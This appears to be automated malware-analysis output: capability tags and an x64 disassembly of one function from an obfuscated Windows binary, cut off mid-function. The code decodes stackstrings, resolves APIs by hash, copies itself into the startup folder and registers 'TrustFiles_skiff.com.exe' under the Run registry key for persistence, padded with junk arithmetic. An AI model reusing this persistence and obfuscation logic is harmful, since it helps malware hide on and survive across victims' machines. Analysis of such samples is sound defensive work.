Function at 0x140025240
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Terminate process
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x820]
sub rsp, 0x920
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rbp + 0x810], rax
lea rax, [rsp + 0x58]
xor r15d, r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rax
call fcn.1400225a0
test al, al
je 0x140026472
mov dword [rsp + 0x50], 0x2ccbcf
call fcn.140005eb0
test eax, eax
je 0x140026472
mov dword [rsp + 0x50], 0x2ccbcf
call fcn.140002d30
mov edx, 0xf
mov dword [rsp + 0x50], 0x2ccbcf
mov r9d, 0x55
mov r8d, 0x8a0ae76f
call fcn.140007390
call rax
mov rcx, rax
call fcn.140024270
cmp dword [0x1400a6318], r15d
jne 0x140025411
mov byte [rsp + 0x78], r15b
mov byte [rsp + 0x79], 0x36
mov byte [rsp + 0x7a], 0xe
mov byte [rsp + 0x7b], 0x77
mov byte [rsp + 0x7c], 0x74
mov byte [rsp + 0x7d], 0x4c
mov byte [rsp + 0x7e], 0x4c
mov byte [rsp + 0x7f], 0x14
mov byte [rbp - 0x80], 0x74
mov byte [rbp - 0x7f], 0x68
mov byte [rbp - 0x7e], 0x33
mov byte [rbp - 0x7d], 0x11
mov byte [rbp - 0x7c], 0x4f
mov byte [rbp - 0x7b], 0x4c
mov byte [rbp - 0x7a], 0x1f
mov byte [rbp - 0x79], 0x5a
mov byte [rbp - 0x78], 0x11
mov byte [rbp - 0x77], 0x5b
mov byte [rbp - 0x76], 0x74
mov byte [rbp - 0x75], 0x36
mov byte [rbp - 0x74], 0x3b
mov byte [rbp - 0x73], 0x1f
mov byte [rbp - 0x72], 0x3b
mov byte [rbp - 0x71], r15b
mov byte [rbp - 0x70], 0x79
mov byte [rbp - 0x6f], 0x60
mov byte [rbp - 0x6e], 5
movzx eax, byte [rsp + 0x79]
movzx eax, byte [rsp + 0x78]
test al, al
jne 0x1400253c5
mov r9d, r15d
nop
movzx ecx, byte [rsp + r9 + 0x79]
mov eax, 0x81020409
sub ecx, 5
imul r8d, ecx, 0x29
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x79], r8b
inc r9
cmp r9, 0x1a
jb 0x140025370
mov edx, 0xf
mov r9d, 0x54
mov r8d, 0x20d8fa8c
call fcn.140007390
lea r8, [rsp + 0x79]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
mov r9d, 0x62
mov r8d, 0xe0c23134
mov rbx, rax
call fcn.140007390
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x140026472
call fcn.14001d3e0
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140025495
lea rax, [rbp - 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140025495
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edx, 0x104
lea rcx, [rbp + 0x3f0]
mov r8, rax
call fcn.1400355ec
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r8d, 0x104
lea rdx, [rbp + 0x600]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x78]
call fcn.140019c40
lea rdx, str.TrustFiles_skiff.com.exe
lea rcx, [rsp + 0x30]
call fcn.140019c40
lea rax, [rsp + 0x50]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14002554a
cmp qword [rbp - 0x70], 7
lea rcx, [rsp + 0x78]
mov eax, dword [rbp - 0x78]
lea rdx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x78]
mov r9d, 1
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14002558c
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025587
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400264a3
call fcn.14002f6d8
mov rdx, qword [rbp - 0x70]
movdqa xmm0, xmmword [0x14009b9a0]
mov word [rsp + 0x30], r15w
movdqu xmmword [rsp + 0x40], xmm0
cmp rdx, 7
jbe 0x1400255e9
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400255dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400264a3
call fcn.14002f6d8
movdqa xmm0, xmmword [0x14009b9a0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rsp + 0x78], r15w
call fcn.140024ca0
mov edx, 0xf
test eax, eax
je 0x140025741
lea rax, [0x1400a64c0]
mov qword [0x1400a64c0], r15
mov r9d, 0x49
mov qword [0x1400a64c8], rax
mov r8d, 0xddde40d3
mov qword [0x1400a6488], 1
mov dword [0x1400a6490], r15d
call fcn.140007390
lea rcx, [0x1400a6498]
call rax
mov ecx, 8
call fcn.140034c08
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x1400a6480], rax
test rax, rax
je 0x140026472
cmp qword [0x1400a6488], rcx
mov rbx, r15
mov dword [0x1400a6490], 1
jbe 0x1400256cb
nop dword [rax]
mov edx, 0xf
mov r9d, 0x52
mov r8d, 0x8687ce53
call fcn.140007390
lea r9, [0x1400a6480]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cba0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a6480]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a6488]
jb 0x140025680
xorps xmm0, xmm0
lea rcx, [rsp + 0x78]
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
call fcn.140024d30
mov rdi, qword [rbp - 0x80]
mov rbx, qword [rsp + 0x78]
cmp rbx, rdi
je 0x14002571b
mov rdx, rbx
mov dword [0x1400a3e30], 0xe
lea rcx, [rsp + 0x30]
call fcn.14001a890
mov rdx, rax
xor ecx, ecx
call fcn.14002ce90
add rbx, 0x20
cmp rbx, rdi
jne 0x1400256f1
xor ecx, ecx
call fcn.14002d060
call fcn.140024ca0
test eax, eax
jne 0x140025730
call fcn.140023870
lea rcx, [rsp + 0x78]
call fcn.14001bfa0
xor eax, eax
jmp 0x140026477
cmp dword [0x1400a3e30], 0xe
jne 0x140025838
lea rax, [0x1400a64c0]
mov qword [0x1400a64c0], r15
mov r9d, 0x49
mov qword [0x1400a64c8], rax
mov r8d, 0xddde40d3
mov qword [0x1400a6488], 1
mov dword [0x1400a6490], r15d
call fcn.140007390
lea rcx, [0x1400a6498]
call rax
mov ecx, 8
call fcn.140034c08
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x1400a6480], rax
test rax, rax
je 0x140026472
cmp qword [0x1400a6488], rcx
mov rbx, r15
mov dword [0x1400a6490], 1
jbe 0x14002580f
mov edx, 0xf
mov r9d, 0x52
mov r8d, 0x8687ce53
call fcn.140007390
lea r9, [0x1400a6480]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cba0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a6480]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a6488]
jb 0x1400257c4
lea rdx, [0x1400a3e90]
lea rcx, [rsp + 0x30]
call fcn.14001a890
mov rdx, rax
xor ecx, ecx
call fcn.14002ce90
xor ecx, ecx
call fcn.14002d060
xor eax, eax
jmp 0x140026477
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.140007390
lea rcx, [rbp - 0x68]
call rax
movzx r8d, word [rbp - 0x68]
mov eax, 0x55555556
mov dword [rsp + 0x50], 0x2c8a28
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400258c5
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025895
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025962
nop dword [rax]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x1400258bc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400258a0
jmp 0x140025962
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025962
mov eax, dword [rsp + 0x50]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025962
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140025943
inc eax
jmp 0x140025945
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025920
cmp dword [0x1400a3e30], 0xa
jne 0x140025970
mov esi, dword [rbp - 0x48]
jmp 0x140025976
mov eax, dword [rbp - 0x48]
lea esi, [rax + rax]
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400259e6
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x1400259b9
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025a82
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x1400259dd
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400259c1
jmp 0x140025a82
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025a82
mov eax, dword [rsp + 0x50]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025a82
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140025a63
inc eax
jmp 0x140025a65
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025a40
mov eax, dword [0x1400a3e30]
add eax, 0xfffffff6
cmp eax, 1
ja 0x140025d92
lea rax, [0x1400a64c0]
mov qword [0x1400a64c0], r15
mov edx, 0xf
mov qword [0x1400a64c8], rax
mov r9d, 0x49
mov qword [0x1400a6488], r14
mov r8d, 0xddde40d3
mov dword [0x1400a6490], r15d
call fcn.140007390
lea rcx, [0x1400a6498]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140034c08
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14004fe10
mov qword [0x1400a6480], rdi
test rdi, rdi
je 0x140026472
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025b75
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025b46
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025c12
nop
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025b6c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025b50
jmp 0x140025c12
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025c12
mov eax, dword [rsp + 0x50]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025c12
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140025bf3
inc eax
jmp 0x140025bf5
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025bd0
mov rbx, r15
mov dword [0x1400a6490], 1
cmp qword [0x1400a6488], rbx
jbe 0x140025c7b
nop dword [rax + rax]
mov edx, 0xf
mov r9d, 0x52
mov r8d, 0x8687ce53
call fcn.140007390
lea r9, [0x1400a6480]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cba0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a6480]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a6488]
jb 0x140025c30
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025cf5
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025cbb
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025d92
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025cec
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025cd0
jmp 0x140025d92
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025d92
mov eax, dword [rsp + 0x50]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025d92
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140025d73
inc eax
jmp 0x140025d75
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025d50
mov eax, dword [0x1400a3e30]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x1400260a2
lea rax, [0x1400a6470]
mov qword [0x1400a6470], r15
mov edx, 0xf
mov qword [0x1400a6478], rax
mov r9d, 0x49
mov qword [0x1400a6438], r14
mov r8d, 0xddde40d3
mov dword [0x1400a6440], r15d
call fcn.140007390
lea rcx, [0x1400a6448]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140034c08
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14004fe10
mov qword [0x1400a6430], rdi
test rdi, rdi
je 0x140026472
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025e85
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025e58
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025f22
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025e7c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025e60
jmp 0x140025f22
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025f22
mov eax, dword [rsp + 0x50]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025f22
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140025f03
inc eax
jmp 0x140025f05
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025ee0
mov rbx, r15
mov dword [0x1400a6440], 1
cmp qword [0x1400a6438], rbx
jbe 0x140025f8b
nop dword [rax + rax]
mov edx, 0xf
mov r9d, 0x52
mov r8d, 0x8687ce53
call fcn.140007390
lea r9, [0x1400a6430]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cba0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a6430]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a6438]
jb 0x140025f40
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026005
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025fcb
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400260a2
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140025ffc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025fe0
jmp 0x1400260a2
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400260a2
mov eax, dword [rsp + 0x50]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400260a2
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140026083
inc eax
jmp 0x140026085
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026060
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], r15
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x70], rax
call fcn.14002b080
call fcn.1400080b0
xor ecx, ecx
call fcn.140008ac0
call fcn.14001d5c0
sub eax, 0xa
cmp eax, 1
ja 0x14002641f
lea rcx, [rsp + 0x58]
call fcn.14001a280
test eax, eax
je 0x14002641f
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026165
mov ecx, dword [rsp + 0x50]
mov eax, dword [rsp + 0x58]
add eax, 2
add ecx, eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x14002612e
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026202
nop word [rax + rax]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x14002615c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026140
jmp 0x140026202
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026202
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026202
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x1400261e3
inc eax
jmp 0x1400261e5
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400261c0
mov dword [rsp + 0x50], 0x2c8a28
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x140026237
add eax, 2
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
jmp 0x1400262d2
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400262d2
mov ecx, dword [rsp + 0x50]
mov eax, 0xb21642c9
add ecx, 0xb
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x55555556
mov dword [rsp + 0x50], edx
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400262d2
nop dword [rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x1400262b3
inc eax
jmp 0x1400262b5
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026290
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x14002641f
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14001a890
mov rdx, rax
xor ecx, ecx
call fcn.14002ce90
mov rcx, rbx
call fcn.140019a90
mov r9, rax
mov dword [rsp + 0x50], 0x2c8a28
mov r8d, dword [rsp + 0x50]
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x140026375
mov ecx, dword [rsp + 0x50]
add ecx, 2
add ecx, r9d
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x140026346
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026412
nop
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000003
jge 0x14002636c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026350
jmp 0x140026412
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026412
mov eax, dword [rsp + 0x50]
lea ecx, [r9 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026412
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x50]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x50]
je 0x1400263f3
inc eax
jmp 0x1400263f5
dec eax
mov dword [rsp + 0x50], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x50]
imul ecx
mov eax, edx
shr eax, 0x1f
